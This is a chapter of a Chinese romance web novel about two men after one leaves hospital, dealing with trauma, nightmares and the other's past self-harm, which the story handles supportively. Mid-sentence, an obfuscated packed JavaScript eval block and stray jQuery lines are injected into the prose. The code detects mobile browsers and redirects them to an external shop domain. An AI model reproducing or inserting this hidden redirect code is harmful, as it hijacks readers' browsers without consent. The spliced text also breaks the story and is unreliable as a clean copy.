忘海出院那天，苌斓把病房里所有的东西都收进一个袋子里——保温杯、没喝完的排骨汤、忘海换下来的病号服、床头柜上那包没拆封的纸巾。他收得很仔细，每一样东西都检查两遍，怕落下什么。忘海坐在床边看他忙前忙后，想说我自己来，但喉咙像被什么东西堵住了，发不出声音。他太累了，累到连开口都觉得费力。医生说出院后要静养一周，按时吃药，不要熬夜，不要劳累。他点头，说好。苌斓在旁边替他把药单接过来，一盒一盒核对，和当年忘海在医生诊室门口替他记医嘱时一模一样。
回到家，苌斓把忘海按在沙发上，不让他进厨房。他自己系上围裙开始炖排骨汤，当归、黄芪、红枣、枸杞，和当年忘海养母炖给他喝的一模一样。砂锅咕嘟咕嘟冒着热气，厨房里弥漫着药膳的香气。忘海靠在沙发上，看着苌斓在厨房里忙碌的背影，想起很多年前自己也是这样站在灶台前磨豆浆、煮红枣茶，苌斓坐在客厅里等。那时候他一直以为自己是那个撑伞的人，现在才发现苌斓也在努力为他撑伞。他的身体很累，但心是暖的。
但这种平静没有持续太久。
出院后忘海开始频繁地做一个梦。梦里他站在天台上，和多年前那个雪天一模一样。苌斓躺在雪地上，后脑勺的血在白色的雪里洇开，他跪在旁边用手按住伤口，喊着苌斓的名字。救护车一直不来，他的掌心被血浸透，怎么按都按不住。然后画面翻转，他站在急救室门口，医生走出来说很抱歉。又翻转，他坐在布沙发上缝袖口，针忽然断了，布料从他手里裂开，怎么也缝不回去。他惊醒时满身冷汗，心跳快得几乎要从胸腔里蹦出来。他知道这是应激反应，是那根绷了太久的弦突然松下来之后必然会出现的后遗症。但他没有告诉苌斓——苌斓好不容易才从自己的噩梦里爬出来，他不能让他再跌回去。于是他每天晚上假装熟睡，等苌斓先睡着之后才闭上眼睛，在黑暗里盯着天花板，听着耳边均匀的呼吸声，感到从未有过的疲惫。他不是没有经历过生死——活了上百次人生，什么都见过。但这一次不一样。这一次他是真的把自己押进去了，把心剖出来放在这个叫苌斓的人手里，然后那把剪刀出现了，那丝血迹出现了，他第一次意识到自己不是万能的——他也会害怕，会颤抖，会对着马桶干呕，会在深夜里盯着天花板感到无边无际的无力。他害怕失去苌斓，但他更害怕的是自己已经快没有力气再保护他了。
有一天他下班回家，走到楼下时忽然停下了脚步。他看见梧桐树下站着一个穿藏蓝色棉服的女人。她的头发梳得整整齐齐，手里拎着一个保温袋。他站在原地动弹不得——那件棉服和他养母当年穿的一模一样，那个保温袋和每次装核桃酥、红枣糕的袋子一模一样，连站立的姿势都一模一样。女人转过身来，是一张陌生的脸，只是同一个小区里同样体面整洁的老人。她看见忘海愣在那里，礼貌地点了点头，拎着保温袋走了。忘海站在原地，手指攥紧公文包的提手，指节发白。他知道那不是她，她已经在布沙发上安静地睡着了，手里还攥着没织完的灰色毛线。他做了几个深呼吸，调整好表情，像什么都没发生过一样上了楼。
推开家门，苌斓正坐在沙发上绕毛线团，灰色毛线缠在他手指间，一圈一圈绕得很慢。茶几上放着两个保温杯，一个深蓝，一个浅蓝，杯盖上的磕痕还在。他看到忘海进来，说今天怎么这么晚。忘海换了拖鞋，走到沙发边坐下，把公文包放在脚边，说加班。他只说了两个字，声音和每次说“顺路”时一样平静。但苌斓绕毛线的动作停了一下，他把毛线团放在茶几上，看着忘海的眼睛，说你不要骗我。忘海没有说话。苌斓把他放在膝盖上的手拿起来，握住，说你的手在发抖，从进门到现在一直在发抖。
忘海低头看着两人交握的手，沉默了很久。窗外梧桐树的叶子在夜风里沙沙地响，茶几上的紫砂杯映着台灯暖黄的光，杯身上那些被胶水粘合的裂缝清晰可见，每一道都是摔碎之后被重新拼回去的痕迹。他忽然想起三十七章里自己跪在天台上按住苌斓流血的伤口，想起四十九章里自己蹲在苌斓面前，说害怕那只手没有拉住他。他当时说这话时眼眶是红的，苌斓用袖子把他的眼泪擦掉了。现在换成苌斓握着他的手，说你不要骗我。
他把苌斓的手翻过来，摊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724405|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
开掌心。那道浅白色的旧疤还在，是很久以前在雪地上摔的。他用指尖沿着那道疤轻轻划了一下，说我今天在楼下看到一个阿姨，穿的衣服和我妈一样。我以为是她。我知道不是她，但我还是站了很久。他抬起眼看着苌斓，眼眶是红的，但没有哭。他说，我以为自己很强大。活了一百多世，什么事都见过。但你那次——他顿了顿，那把剪刀，那道血痕，我现在想起来手还是会抖。从那天之后我每天晚上都数你的呼吸，怕你哪天趁我睡着时做傻事。我在医院躺着的时候一直在想，如果那天晚上我没有加班，如果我早一点到家——我从来没有这样害怕过。我害怕失去你。我甚至不敢把药盒交给你自己保管，我到现在还把指甲刀锁在办公室抽屉里。我是不是有毛病。
他说完这句话，房间里安静了很久。苌斓没有说话，只是把他的手握得更紧了一些。然后他站起来，走到衣柜前，打开最里面那层抽屉，拿出那把被旧毛衣裹了好几层的剪刀，放在茶几上。又走到书桌前，拉开抽屉，把那个分装好的药盒拿出来，放在剪刀旁边。然后他把忘海的公文包打开，找到他办公室抽屉的钥匙，也放在茶几上。他说，剪刀在这里，药在这里，指甲刀你可以带回家。我不会再拿它伤害自己。你的手在发抖，我握着。你做噩梦，我叫醒你。你说你害怕失去我——我也是。你看，我们俩谁都不比谁更勇敢。以后你不用一个人撑着，也不用再数我的呼吸——我吃了药就会好好睡觉，你一摸我的手腕就能感觉到脉搏还在跳。它会一直跳，陪你活到很老很老。你说的，这一世还有很长。很长很长，谁都不许先走。
忘海低下头，把脸埋进两人交握的手里。他的肩膀在轻轻颤抖，但没有哭声。苌斓感觉到有温热的液体从指缝间渗出来，他没有抽手，只是把另一只手放在忘海的后脑勺上，轻轻按着，和多年前忘海在天台上按住他流血的伤口时一模一样。窗外梧桐树的叶子沙沙地响，茶几上的紫砂杯安静地立在杯垫上，裂缝还在，但杯子没有散。保温杯里的红枣茶还是热的，八颗红枣，两颗当归，和每一天一样。他们谁都不比谁更勇敢，但他们谁都不用再一个人撑着。